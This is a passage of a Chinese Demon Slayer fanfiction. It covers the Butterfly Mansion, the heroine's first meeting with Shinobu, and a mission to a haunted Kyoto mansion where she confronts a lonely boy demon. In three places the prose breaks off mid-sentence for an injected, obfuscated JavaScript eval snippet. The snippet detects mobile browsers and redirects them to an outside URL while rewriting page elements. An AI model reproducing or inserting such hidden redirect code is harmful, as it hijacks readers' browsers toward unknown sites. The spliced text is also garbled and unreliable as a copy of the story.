“我会把所有的鬼都赶尽杀绝,”她说,声音很轻,却很稳,“我会杀掉鬼舞辻无惨。” 鳞泷沉默地望着她,伸出手,在她头上轻轻拍了一下。 “那就去。” 音叶抬起头,看着爷爷。 月光落在他脸上,落在那双深邃的眼睛里,老人的眼神里满是欣慰。 “你和她很像。”他说。 音叶张了张嘴,想说什么,却不知道该说什么。 “明天走的时候,多带点吃的走。” …… 回到小院之后,日子就这么过下去。 三个人各有各的任务,各杀各的鬼。难得有三个人都在的时候,就一起去吃饭,坐在廊下看星星。 悠子的声音总是没有听过,提到等级的时候还会特意大些声音,似乎像引来两个少年的注意。 “戊级队员音叶——北边!北边!” “丙级队员音叶——南南东!南南东!” 音叶的等级升得很快,三个月过去,她已经从己级升到了丙级。另外两个少年也不是一成不变的,义勇已经是丁级了,锖兔要慢一些——他是戊级。 音叶一开始没有在意,等级这东西,杀得多就升得快,杀得少就升得慢。义勇话少,但杀鬼不手软,每次回来刀上都带着血。锖兔更不用说了,他比谁都厌恶鬼的存在。 约莫又过了半个月,音叶做完任务回来的时候,看见锖兔浑身是伤地躺在院子里,义勇坐在旁边,正给他换药。 “怎么回事?”音叶问。 锖兔开口,声音有些虚:“遇到一个同期队员,他被鬼追着,我就帮了他一把。” 音叶看着锖兔,身上好几处伤口,有深有浅,无不例外都在往外渗血。左臂上那道最深,布条已经染红了一片。 “一把?” 锖兔笑了一下,牵扯到伤口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375048|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容变得有些扭曲:“两把。” 音叶突然不想说话了,她感觉胃有些不舒服,深深地看了一眼两个人,转身进了自己那间屋。 那天晚上,她没有出来吃饭。 锖兔在院子里坐了一会儿,有些疑惑:“她怎么了?” 义勇叹了口气:“不知道。” “心情不好?” 义勇摇摇头。 第二天早上,音叶出来的时候,锖兔已经在院子里了。他身上的伤好了一些,但看起来还是狼狈,左臂上的布条换了新的,缠得整整齐齐。 “音叶。”他喊她。 音叶睨了他一眼,觉得胃又开始痛了。 “饭在锅里。”他说。 音叶走过去,在廊下坐下来。 锖兔端了饭过来,放在她面前,白米饭上面摆着一块煎鱼,还有几筷子腌萝卜。 “昨天怎么了?” “你自己不知道?” 锖兔想了想,眉头皱起来:“不知道。” 音叶不再回答,开始低头吃饭,一口一口把米饭和鱼都吃完了。 一直到吃完,胃里的疼痛都没有得到缓解。她认命地放下碗筷,瞪着锖兔:“我在生气。” 锖兔脸上闪过一丝迷惘。 “我气你总是冲在最前面。”音叶说,她的声音紧绷着,“看到别人有事就冲上去,不管自己受不受伤,你是戊级,杀鬼是你的任务,但不是让你拿命去换别人的命。” 锖兔张了张嘴:“那些人……” “那些人也会有人救,”音叶说,“但不是非要你救。” 她站起来,接着说:“最终选拔的时候,你救人可以理解,那是关乎生死的事情。但这并不意味着,不意味着……”少女的声音有些哽咽,却还是坚持着把话说完,“意味着你要把自己的生死抛之脑后!” 锖兔有些无措,看着音叶站起来,想要拦住她解释,又觉得自己没做错什么。 义勇听见动静,从屋里出来,站在他旁边:“音叶说了什么?” 锖兔复述:“她说她气我不爱惜自己。” 义勇静静听完,抬起眼睛看他。深蓝色的眼眸盯着他,眼底的情绪轻轻涌动了一下。 “她说得对。” 锖兔看向他,义勇的睫毛垂下来,在眼睑投下两小片阴影,像是要把所有情绪都藏进那两汪深潭里,可是上下滚动的喉结还是暴露了他的变化。 “你要是死了,”他说,“我和音叶怎么办?” 日光直直落在锖兔脸上,照得那一瞬间的空白无处可藏。他的眼睛微微睁大,瞳孔里还映着义勇转身离去时的那道背影。 他就那样站着,忘了眨眼。 锖兔的喉结动了动,想说什么,嘴唇却只是轻轻张开,又慢慢合上。 门轻轻关上,发出一声闷响。 风吹过来,吹动院子里大树的枯枝,发出细细的声响。 “知道了。”他低声说,声音只有自己能听见。 日子就这么过下去,音叶有时会检查锖兔身上还有没有新增的伤痕,义勇则是站在一旁不说话,但是他的行为已经表明了立场——他会帮忙摁住锖兔,方便音叶检查。 一个普通的傍晚,太阳已经落下,天空呈现层次分明的蓝色。 音叶刚做完任务回来,正在院子里洗手。水从指缝间漏下去,落在木盆里,发出细碎的声响。悠子落在她肩上,还没来得及开口,一只陌生的鎹鸦落在了院墙上。 它歪着头看着他们,爪子底下抓着一封信,信纸在风里轻轻晃动。 “香奈惠的信,”它说,“给鳞泷音叶。” 音叶愣了一下,她直起身,看着那只鎹鸦,像是在确认自己没有听错。然后她走过去,接过信。 信纸上是秀气的字迹,一笔一划都写得很认真。她低着头看,睫毛垂下来,遮住眼底的神色,只有眉头极轻地动了一下。 “音叶亲启: 见字如晤,蝶屋一别,已有数月,最近过得好吗?不知你的伤是否还有疼痒?另外两位是否还在好好涂药? 写这封信是想告诉你一件事,在我斩杀五十只鬼后获得主公大人认可,成为花柱了。 成为柱之后要做的事情好像更多了,但我会努力的,你也要加油。 主公大人说下次柱合会议我可以参加,第一次以柱的身份参加,还有点紧张。 替我向锖兔和义勇问好。 蝴蝶香奈惠。” 音叶站在那里,把那封信从头到尾看了一遍,抬起头笑了出来。 锖兔从屋里走出来,正好看见她在笑。 “谁的信?”他问,走近两步。 “香奈惠送来的。”音叶把信递给他,眼睛还亮着。 锖兔接过去看。他低着头,眉头微微皱着,看得很认真。 “花柱?” “嗯。”音叶点点头。 “她真厉害,”他说,“比我们大不了多少。” “她真的很厉害。”音叶把信折好,小心地收进怀里。 义勇从屋里出来,站在廊下。 他刚洗完碗,手还在袖子上随意蹭了两下。他不知道发生了什么,但看见音叶眼睛亮亮的,脸上带着笑容的样子,目光在她脸上停了一会儿。 “香奈惠成为柱了。”音叶对他说。 义勇点了点头:“好事。” “嗯,”音叶说,“是好事。” 她站在那里,看着院墙的方向,那只送信的鎹鸦早就飞走了。 香奈惠真的像她说的那样成为柱了。 28. 蝴蝶姐妹 香奈惠成为花柱后不久,便接手了蝶屋。上一位主人结衣夫人年事已高,退隐前亲自将蝶屋托付给她。 那些繁琐的药材名录、层层叠叠的伤患记录,以及藏在账本深处、不可为外人道的鬼杀队机密,都一件件交到她手中。 香奈惠接手时仍是一副笑吟吟的模样,只是肩上的担子重了许多。偶尔音叶来帮忙,能看见她埋首在成堆的账册间,眉心微微蹙着,听见脚步声抬起头,那蹙起的纹路便瞬间化开,眉眼弯弯地说一句“来了”。 音叶第一次去蝶屋时,是香奈惠告诉写信邀请来的。信上说伤患太多忙不过来,问她愿不愿意来搭把手,音叶从小跟着爷爷照顾那些被带回来的伤者,换药包扎颇有经验,便应了下来。 阳光透过窗纸洒进屋内,在地上落下一片片暖黄色的光斑,细小的尘埃在光柱里缓缓浮动。音叶坐在廊下给一个重伤的队员换绷带,旧绷带被解下,新绷带缠上去,动作行云流水。 香奈惠不知何时站到了旁边,看了一会儿,唇角微微上扬:“没想到音叶在照顾病人方面那么细心。” 音叶头也没抬,手指继续在绷带间穿梭:“小时候照顾得多了,有经验了。” “花柱大人亲自过来看我,真是在下的荣幸。”她偏过脸,眼尾微微上挑,带着一丝促狭的笑意。 香奈惠闻言,眼睫轻轻颤了颤,随即笑出声来,伸手在她肩上轻轻拍了一下:“别闹,听你叫花柱大人总觉得怪怪的,还是叫回香奈惠吧。” 音叶嘴角弯了弯,继续低头包扎。 就在这时,里间的门被人从里面推开,一个女孩探出半个身子。 她比音叶矮很多,两侧的鬓角刘海修剪得齐整,后面黑紫色渐变的长发规规矩矩地盘起来,露出一截纤细的脖颈。 那双眼睛又大又亮,骨碌碌地转着,在屋里扫了一圈,最后定在音叶身上。她从门后钻出来,动作轻快得像一只蝴蝶,袴的裤腿在脚踝处轻轻晃动。 “哎呀哎呀,你就是音叶吗?”她问,语气里带着明显的雀跃,尾音微微上扬,“姐姐总是提起你,说你经常会来帮忙。” 音叶点了点头。 那少女在她旁边蹲下来,双手托着腮,看着她换药,看了一会儿,她忽然开口:“你缠绷带的方式和我不一样。” 换药的队员看到腿边蹲着的女孩,脸瞬间红了起来,身体不安分地乱动着,被音叶拍了一下才老实。 “你也会?”音叶问。 “当然呀,”她笑起来,露出整齐洁白的牙齿,眼睛弯成两道月牙。仔细看,其实能看出与香奈惠眉眼间有些相似,“我叫蝴蝶忍,是姐姐的妹妹。” 香奈惠在旁边补了一句,明明是吐槽的话,声音里却带着浅浅的笑意:“是个让人烦恼的妹妹呢。” 忍蹲在那里,两只手撑着下巴,膝盖并得规规矩矩的,可那双眼睛一刻也闲不住,在音叶脸上、手上、腰间的刀上转来转去,像一只发现了新奇事物的雀鸟。 “你的刀真好看,”她的目光落在刀柄上,停顿了几息,“是青色的。” 音叶嗯了一声,继续缠绷带。 忍没有再问关于刀的事,她往音叶旁边挪了挪,压低声音,神神秘秘地说:“我跟你说,我在练一种新的呼吸法。” 音叶手上动作没停,只是抬起眼皮看了她一眼。 忍见她看过来,整个人都雀跃起来,连蹲下的姿势都变了,微微向前倾着身子——那个队员的脸更红了——忍并没有在意,往前凑了凑,两只手比比划划的,手指在空中划出灵动的弧线: “我没办法砍下鬼的头颅,师父说,力气不够就得想别的办法。我想了好久,后来有一天坐在院子里发呆,看见蝴蝶从面前飞过去。” 她伸出手在空中比了个蝴蝶扑扇的样子,手指轻盈地翻动,指尖仿佛真的停着一只蝴蝶。 “它们那么小,可是飞得可快了,谁也抓不着,”她的眼睛里映着窗纸透进来的光,亮得灼人,“我就想,力气不够没关系,可以从别的地方想办法,比如用毒。” 她眨眨眼,声音压得更低,像是要说什么了不起的秘密:“紫藤花毒……鬼不是最讨厌紫藤花吗?要是能把毒打进它们体内,应该能拖慢它们的恢复速度。虽然现在还在练,但是已经很有效果了!” 她说完,望着音叶,眼睛里带着几分期待,下巴微微抬起,像是在等待一个回应。 “挺好的。”音叶说。 忍笑起来,笑得眼睛弯成两道月牙,连眉眼间都漾着笑意。 “你也觉得好?”她问。 “本来就是个好主意,”音叶把绷带系好,拍了拍手,抬起头看向她,“而且香奈惠总是念叨你,说你主意多、又聪明,肯定会找到适合自己的方法的。” 忍望着她,眼里有什么东西亮了亮,忽然她伸出手,拽住音叶的袖子。那只手小小的,指尖还沾着一点药粉,在袖口的布料上留下一个浅浅的印子。 “如果你以后经常来蝶屋的话,以后肯定会感叹我的进步!” 音叶低头看了看那只拽着她袖子的手,又看了看小忍一脸坚定的表情。 她没忍住,腾出一只手揉揉这个小女孩的头发:“好呀,希望我下次来的时候,可以听到小忍的好消息。” 后来几次去蝶屋,音叶总能碰见忍。 她在配药,面前摆着一排瓶瓶罐罐,眉心微微蹙着,嘴里念念有词,小声嘀咕着药品的名字。一边念叨一边用小勺小心翼翼地往药包里加,每加一味就要停顿片刻,仔细核对一遍。听见脚步声,她会抬起头,朝音叶挥挥手,然后又埋下头去,继续她的配药大业。 听香奈惠说,姐妹俩约定好了,如果小忍顺利通过这次的最终选拔,就收她为继子。 继子——是柱培养的剑士,只要柱直接认可就能上剑士。① 等到音叶忙完再去找忍的时候,这位小姑娘已经捧着一本书,坐在廊下边晒着太阳边看了。就连音叶走到她身边坐下都没有察觉,还是音叶没忍住开了口: “在看什么书?” 忍抬起头,眨了眨眼,看见是她,便把书递过来:“《药局方》,是师父给我的,最近推出的药材药品标准用书。” 她把书摊开:“这上面有汉方药和医药,种类很多,可以让我多了解了解药理相关的知识。” 她说这话的时候语气很平常,脸上带着一丝研究学问时才有的兴致。 “你师父有说什么吗?”音叶问。 忍把书合上,抱在怀里,下巴搁在书脊上。她偏过头,鬓角的碎发滑落下来,遮住半边脸颊。 “师父说最终选拔好像比之前有所改变……似乎是要安全一些?”她偏过头看着音叶,眼里带着笑意,“呐,不管怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375049|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说,能减少人员的伤亡,这真的太好了呢。” 音叶笑了笑,没有说话。 …… 悠子是在一个阴天的下午飞来蝶屋的。 那天云层压得很低,天光灰蒙蒙的,空气里有一股凉意,是冬天将至的气息。 音叶正在蝶屋帮忙,刚给一个伤患换完药,正在收拾用过的绷带。悠子就从窗外扑进来,落在她肩上,翅膀扑棱棱地抖落几片细小的羽毛,有几根落在音叶的袖子上。 “音叶,任务——任务——!” 香奈惠正在旁边整理药柜,闻声抬起头来。她的手停在一排药瓶之间,悬在半空,目光转向音叶。 “北北西!”悠子嚷着,声音又尖又脆,在安静的室内显得格外响亮,“京都上京区!废弃的旧公卿宅邸——细川邸!” 音叶顺了顺她蹭过来的脑袋,手上继续收拾着绷带。悠子在她肩上蹦了两下,终于安静下来,歪着脑袋看她,一双黑豆似的眼睛滴溜溜地转。 香奈惠走过来,在衣摆上擦了擦手,她站到音叶面前,脸上那惯常的笑意淡了些,换上一种认真的神色。 “细川家曾是侍奉天皇的堂上家,”她说,声音比平时低了几分,“明治维新后家道中落,最后一位主人死后,宅邸就荒废了……因为地处偏僻,一直没人管。” 她顿了顿,抬眼看向音叶,目光里带着一丝凝重:“一个废弃的贵族府邸……不知道这鬼到底是什么来头,总之,千万要小心啊,音叶。” 音叶点了点头,站起身来。她把收拾好的东西放到一旁,系好腰间的刀,检查了一遍随身的东西。 不知什么时候,忍已经从里间出来了,站在门边望着她。她没有说话,也没有像平时那样蹦蹦跳跳地跑过来,只是静静地站在那里,两只手背在身后,身子微微侧着,倚在门框上。 “要走了?”忍问。 “嗯。” 忍走过来,步伐比平时慢了些。她走到音叶面前,抬起头看着她,目光在音叶脸上停留了片刻。然后她把手里的一样东西塞进音叶手里。 是一个小小的布袋,米白色的布面,用淡紫色的线细细地缝了口。布面上绣着一个小小的蝴蝶,针脚细细密密的,翅膀的弧度绣得格外用心。 “呐,这是我自己做的药包,”忍说,“带着吧。” 音叶把药包收进怀里,布料软软的,带着一点紫藤花的清香。 忍没有再说什么,只是退后一步,那双眼睛一直望着她,没有移开。 香奈惠站在药柜前,目光落在音叶身上,目光柔和:“愿君武运昌隆。” 音叶点了点头,推开门。 走出一段路,悠子从头顶落下来,落在她肩上,她歪着脑袋看了眼音叶,又用喙理了理自己的羽毛。 悠子在她肩上蹦了蹦,清了清嗓子,语气忽然变得正经起来,像换了个人似的,开始为音叶介绍这次的任务情况: “细川邸,位于京都上京区,废弃公卿宅邸,近期内失踪多人——有巡夜的警员、浪人还有想要进去偷东西的扒手。差役说深夜路过时能看见里面透出灯光,听见年轻男子的吟诗声,进去查看的人再也没有出来。” 音叶一边走一边听着,脚步没有停顿。 “当地人说那宅子闹鬼……”悠子继续说,语气里带着一丝不屑,“但是此鬼并非彼鬼。” 29. 笼中鸟(一) 音叶抵达京都时,天边只剩最后一抹昏黄。 她站在上京区那条荒僻的巷子尽头,望着不远处那座沉寂的宅邸。细川邸比想象中更大,黑压压的轮廓沉在暮色里,围墙上的瓦片脱落了大半,露出里面斑驳的土墙,院内几棵老树的枯枝探出头来,在风里轻轻晃动。 细碎的雪簌簌落下,一片一片落在她肩上。 她正打量着宅邸正门那扇半掩的旧木门,身后传来脚步声。积雪被踩得咯吱作响,在空寂的巷子里格外清晰。 音叶侧过身。 来人是个上了年纪的男人,穿着半旧的褐色和服,外面套着一件防寒的棉坎肩。帽檐下露出花白的鬓角,脸上刻着深深的皱纹。 他腰间别着一块木质的巡更牌,手里提着一盏防风灯笼,灯火在风里微微晃动,在他脸上投下明明灭灭的光。那双眼睛望着她,疲惫里带着关切。 “姑娘,别靠近那里。”他开口,声音沙哑。 音叶看着他,没有说话,指尖却不动声色地往羽织内拢了拢,悄悄藏好腰间的刀。 老巡更走近几步,在她身侧停下,也望向那座宅邸,灯笼的光照亮他半张脸,照出他紧抿的嘴角。 “你是外地来的吧?”他问,“那地方不干净……进去的人再没有出来过。” 音叶的目光落在他脸上,老巡更的眼神不像是在吓唬人,脸上流露出的表情带着真实的畏惧,还有一丝难以言说的沉重。 “我们这儿已经折了两个人了……”他说,声音低下去,带着涩意,“都是巡夜的年轻后辈。” 音叶没有解释自己的身份,只是问:“您怎么称呼?” 老巡更愣了一下,似乎没想到她会问这个,他迟疑着捋了捋鬓角的白发,哑声答道:“姓下佐藤,是附近警署的警员,负责附近的巡夜。” 佐藤望着细川邸,眼神骤然空茫,半晌才喃喃自语,像是悼念故人:“那两个后辈可惜得很啊,一个去年才来,刚满二十,家里还有个妹妹;另一个跟着我巡了五年,每次夜巡都给我带热茶……就这么没了,一脚踏进去,就再也没回来。” 他说完,沉默了很久,灯笼里的烛火爆了一声,才将佐藤拉回神。 他看了眼彻底暗下来的天色,又看向音叶,喉间滚出一声叹息:“天黑了就赶紧回吧,别在这附近逗留。” 音叶点了点头。 佐藤提着灯笼转身,蹒跚着往巷子另一头走去,昏黄的灯光在夜色里越缩越小,成了一个摇晃的光点,最终消失在巷口。 音叶站在原地,望着那座宅邸。 夜里,雪停了。 月亮从云层后面露出来,把整座宅邸照得惨白。音叶翻过那扇半掩的木门,落在院子里的积雪上,发出极轻的一声闷响。 庭院荒芜得厉害,枯山废水早就看不出原本的模样,只剩下几块石头歪歪斜斜地立在雪里。杂草从石缝间钻出来,枯黄的身子在月光下微微晃动。 音叶踏上廊下,脚下的木板已经朽烂了,踩上去发出吱呀的声响。她放轻脚步,一步一步往里走。 刚走几步,脚下的木板骤然断裂。 她来不及反应,整个人往下坠去。朽烂的木头在她身下碎裂,发出刺耳的声响,她本能地伸出手,想要抓住什么,但这附近什么能抓得到都没有。 身体砸在碎木板和瓦砾上,发出一声闷响,她翻身坐起,检查自己。 左手手臂被什么尖锐的东西划开一道口子,血正从伤口里渗出来,很快就染红了袖子。她试着活动了一下,还能动,只是疼,其他地方没有大碍。 那就等着伤口慢慢恢复吧。 她抬眼望去,一个少年站在上面,正低头看着她。他穿着旧式的萌黄色和服,那种款式音叶只在古画册里见过的、似乎是几十年前流行的样式。长发披散着,脸色苍白得近乎透明。 他望着她,目光里有一种奇怪的期待。 “你……”他开口,声音很轻,像是怕惊动什么,“是来带我出去的吗?” 音叶没有回答,她撑着地面站起来,目光紧紧盯着那个少年。 少年也没有再问,他只是站在那里,低头看着她,眼神里那点闪烁的光芒慢慢变得暗淡。 音叶趁这个机会快速地环顾了一下四周,这里空间狭小,像是正殿下面的地基,附近目光所及处都是木柱和瓦砾,只有一条狭窄的通道通向远处。 她顺着通道走出去,爬出来的时候,她发现自己又站回了回廊上。几乎不用再试,音叶已经明白了。 ——这应该是刚刚那位少年鬼的血鬼术。 音叶皱了皱眉,谨慎地往前走。 没走多久,少年鬼再次出现。他站在走廊拐角,只探出半个脑袋,苍白的脸颊贴着朽木,空洞的眼眸直勾勾望着她,没有半分恶意,却像个执拗的孩子,一遍遍将她困在原地。 见她看过来,他也没有躲,只是那样望着她。少年鬼似乎没有想要伤害音叶的意思,只是改变她的路径,让她一直留在原地。 无论音叶怎么走,最后都会回到同一个地方。而那个少年始终在那里,不远不近,站在走廊拐角探出半个脑袋望着她。 音叶索性停下脚步,直视着他。 少年也看着她,忽然学着她的模样歪了歪脑袋,眼神茫然无措,像只迷路的幼兽。 “你困住我了。”音叶说。 少年把头回正,像是在理解她的话,过了好一会儿,他轻声说:“我只是想让你留下来陪我。” 就在这时,远处传来一声惊恐的喊叫:“有人吗?!救命!” 是佐藤的声音。 音叶心头一紧,循声冲了过去。 她在正殿的角落里找到了佐藤。老人蜷缩在墙角,手里握着那盏已经熄灭的灯笼,腰间的巡更牌歪在一边。听见脚步声,他猛地抬起头,眼睛里满是恐惧。 “你、你是谁——”他的声音都在发抖。 然后他看清了来人,眼睛里的恐惧变成了惊喜,夹杂着愧疚和慌乱。 “姑、姑娘!”他挣扎着想站起来,却因为腿软又跌坐下去,“我、我担心你出事……偷偷跟进来想找你出去……结果……” 他环顾四周,声音越来越低:“迷路了。” 音叶走过去,蹲下来看着他,老人的脸色很差,额头上冒着冷汗,嘴唇发白。她抬起手探了探他的额头——还好,不是发热,只是受惊吓后出的冷汗。 “您不该来的。”她叹了一口气,不忍责备眼前的老人。 音叶看着佐藤张了张嘴,似乎想说什么,只是现在全身无力,握着灯笼的手还在抖。 就在这时,那个少年出现在廊下。他站在那里,歪着头看着他们。月光从破败的窗纸照进来,落在他的侧脸上,把他半边脸照得惨白,另半边隐在黑暗里。 “又来了一个人。”他说,声音里带着一丝好奇,“你是来带我出去的吗?” 佐藤抬起头,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375050|200056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个少年,整个人像是被什么击中了一样。他猛地往后缩,后背撞在墙上,发出一声闷响。 “鬼、鬼——!”他的声音已经完全变了调。 音叶站起来,挡在佐藤身前,刀已经出鞘,青色的刀刃在月光下泛着冷冷的光。 少年看着那把刀,目光里有一瞬间的迷茫。但很快,他又看向佐藤,看着那个缩在墙角浑身发抖的老人。 “他怕我……”少年说,语气里带着一丝不解,“为什么你们都想离开?留下来不好吗?” 音叶没有搭腔,斩鬼半年,像静子那样有良知的鬼少之又少,更多的则是吃人不眨眼的恶鬼。 更何况身后还有一个人需要保护,音叶必须谨慎谨慎再谨慎,她盯着少年的一举一动,判断着他的意图。 少年并没有靠近,只是站在原地望着他们,沉默良久,才轻声开口,语气竟带着几分温顺:“我带你们出去吧。” 说完,他转身往回廊深处走去,走几步就停下来,回头怯怯望一眼二人,示意他们跟上。 音叶没有动,她到现在还没有明白这鬼葫芦里究竟卖的是什么药。 “你不是想出去吗?”他问,“跟着我。” 音叶扶着佐藤缓缓起身,老人双腿仍在打颤,却勉强能迈步。她一手稳稳扶着他,一手紧攥日轮刀,步步戒备地跟在少年身后。 细川家曾经是名门贵族,这点从府邸上就能看出来——院落很大、布局更是错综复杂。 少年走在前方,步伐放得极慢,似是怕他们跟不上,每到岔路口,便乖乖停住,回头等候。 佐藤走得慢,他年纪大了,刚才又受了惊吓,每走几步就要喘一喘。刚刚他被脚下翘起的木板绊了一下,差点整个人往前栽去,幸亏音叶眼疾手快,一把拉住他。 “谢、谢谢……”佐藤喘着气说。 少年停下来,回头望着他们。他的目光落在佐藤身上,看了一会儿,又落在音叶扶着佐藤的手上。 “他是你什么人?”他问。 “他是附近警署的巡夜人,”音叶说,“今天刚遇见。” 少年猛地一怔,望着音叶的眼神里翻涌着复杂的情绪,有讶异,也有几分说不清的艳羡。 “你为什么帮他?” 音叶不想回答,转身继续往前走。 走着走着,脚下的木板突然断裂。音叶低头一看,又是一处朽烂的地方。她正要绕过去,脚下的木板彻底塌了。 佐藤惊呼一声。音叶松开扶着他的手,想要稳住自己,但脚下没有借力的地方,她只能往下坠去。 就在这一瞬,她伸出手,抓住了廊边的柱子。 整个人悬在半空,手臂上的伤口因为用力而崩开,血又流出来,顺着胳膊往下淌,一滴一滴落进黑暗里。 “姑娘!”佐藤趴在廊边,伸出手想要拉她。 音叶深吸一口气,手臂发力,把自己送了上去。 翻身上廊,她坐在地上喘着气,手臂上的伤口火辣辣地疼,袖子上已经染红了一大片。 佐藤蹲在她旁边,脸色煞白:“姑娘,你受伤了!” 音叶没有说话,她抬起眼,看向站在不远处的少年。 少年站在那里,望着她,他的目光落在她流血的手臂上,落在那一片洇开的红色上。月光照着他的脸,照出他微微睁大的眼睛。 “你在流血……”他说,往前走了一步。 音叶握紧刀,刀尖对准他。 30. 笼中鸟(二) 少年立在光影交界的地方,他的视线从音叶淌血的手臂缓缓移开,浅琉璃色的眼瞳里翻涌着鬼对血气与生俱来的渴求。 “我闻得到,”他开口,声音很轻,“很香……我饿了很久。” 他的喉结缓缓滚动,压制着骨髓里翻涌的本能,目光死死黏在那道渗血的伤口上。 “你为什么不躲?”他浅淡的眼瞳里盛满茫然,直直望着音叶,“你不怕我吃你吗?” 音叶手腕微抬,日轮刀直指少年,她眉眼间带着剑士独有的锐利,没有半分迟疑:“该担心的是你自己。” 少年全然无视抵在身前的日轮刀,也没接音叶的话,只是自顾自地开口,语气平淡得像在诉说旁人的故事。 “我母亲很早就不在了。”他垂着眼,纤长的睫毛在眼睑下投出浅影,“我不太记得她的样子。” 音叶握着刀柄的手微微收紧,没有应声,只是静静看着他。眼前的鬼没有狰狞的獠牙,只有藏在眼底的、化不开的孤独。 “父亲带着我,住在这宅子最偏僻的小院里。那时候细川家已经败落,宅子里的人一天天变少。我不懂家族的兴衰,只知道父亲的脸色越来越差,酒也喝得越来越凶。” 他缓缓伸出手,苍白的指尖轻轻抚过身旁的廊柱。上面刻着一道又一道深浅不一的痕迹,从低矮处一路延伸到高处,是少年逐年长高的印记,也是这座空宅里唯一记录他过往的痕迹。 “后来有天夜里,父亲来找我。他喝了很多酒,站在门口望着我,牵起我的手,跟我说,千鹤,跟爸爸走。” 他的指尖停在其中一道刻痕上,轻轻贴着老旧的木纹,像是在触碰早已远去的时光。 “我不知道要去哪里,只能乖乖跟着他。他把我带进他的房间,让我坐在榻上,随后转身倒了两杯水。” 清冷的月光落在他侧脸上,勾勒出柔和却单薄的轮廓,千鹤说话时,睫毛偶尔轻轻颤动。 “父亲一直哭,他先喝完了自己杯中的水,又抢过我手里的杯子,将里面的水一饮而尽。” 他抬眼,浅琉璃色的眼瞳直直望向音叶,里面没有悲伤,只有一片空茫。 “第二天清晨我醒来后发现,榻边的父亲早就没有了呼吸。” “从那以后,宅子里的人走得越来越干净。仆人们一个接一个离开。母亲那边的亲戚也来过,但只是站在小院里看了一眼就转身离开,自始至终,没有人问过我该怎么活下去。” 音叶站在原地,听完了他全部的话,日轮刀依旧指着少年。她心里有触动不假,但是眼前的鬼并不是清白的,他也曾吃掉别人的家人。 少年抬眼,目光轻轻落在她身上:“有人在陪你吗?” 音叶的呼吸骤然一滞。 脑海里缓缓浮起一道模糊的身影——暮色沉沉的小院里,树下立着少年安静的轮廓,发丝被晚风轻轻扬起,看不清眉眼,辨不出模样。 “我不需要你陪了,”千鹤的声音从前方的黑暗里传来,带着淡淡的孤寂,“你们都有人爱着你们,那就带他离开吧。” 音叶站在原地,望着那道渐行渐远的背影,指尖不自觉松了松刀柄。 身后传来佐藤颤抖的呼唤,打破了廊间的寂静。 “姑、姑娘……” 佐藤缩在墙角,双手撑着冰冷的地面,试图撑起身体,双腿却抖如筛糠。 “能走吗?”音叶收回目光,转身走向老人。 佐藤先是点头,又轻轻摇头,最后扯出一个苦涩的笑,脸上的皱纹挤在一起:“腿不听使唤了。” 音叶弯腰,伸手将老人扶起。眼前的老人瘦得皮包骨,隔着单薄的衣物都能清晰摸到凸起的骨节。他将大半重量都压在音叶肩上,每挪动一步都会发出粗重的喘息。 两人沿着千鹤离开的方向前行,原本扭曲循环的回廊恢复了正常,那些岔路尽数消失,只剩下一条笔直的通路,通向宅邸大门。 走了许久,佐藤的喘息越来越沉重,两人终于走出回廊,来到一片开阔的院落。音叶先将佐藤送到宅邸外的安全地带。 确认老人无碍后,又转身折返——她需要找到千鹤,并给他一个了断。 院子正中立着一口枯井,井旁长着一棵枯死的樱树,少年站在树边,背对着她,单薄的身影与枯樱融为一体,满是孤寂。 听见身后的脚步声,千鹤缓缓转过身。月光落在他苍白的脸上,照亮那双空洞的眼瞳,他看着音叶,语气平静无波:“你要杀我吗?” 音叶握紧日轮刀,指节泛出青白。 “你动手吧,”他轻轻开口,“我有些累了。” 他站在原地,不再有任何动作。冷风从破败的屋顶灌进来,拂动他的衣摆。 音叶一步步朝他走近,脚步声轻缓,敲在寂静的院落里。 “外面下雪的时候,冷吗?” 千鹤忽然开口,声音里带着一丝不易察觉的期盼。 音叶握刀的手猛地一滞,他被困在这座不见天日的宅子里十几年,连外界的风雪都只能靠想象。 就在这一瞬,千鹤猛地扑了上来——他用尽全身力气拥抱了音叶,鬼的身体冰凉刺骨,可拥抱的力道却紧得惊人。 “带我离开这里,”他趴在音叶肩头,声音止不住地颤抖,带着压抑十几年的哭腔,“求你……带我离开这里……” 日轮刀紧紧抵在他的脖子上,音叶却迟迟没有刺下。 千鹤抱着她,落下了迟来的眼泪,冰凉的泪珠滴落在她的肩头,洇开一小片湿痕。 音叶缓缓闭上眼,脑海里那道模糊的等待身影再次浮现,看不清脸,却始终守在原地。她睁开眼,眼底掠过一丝决绝。 刀锋轻轻掠过,快得没有一丝声响。 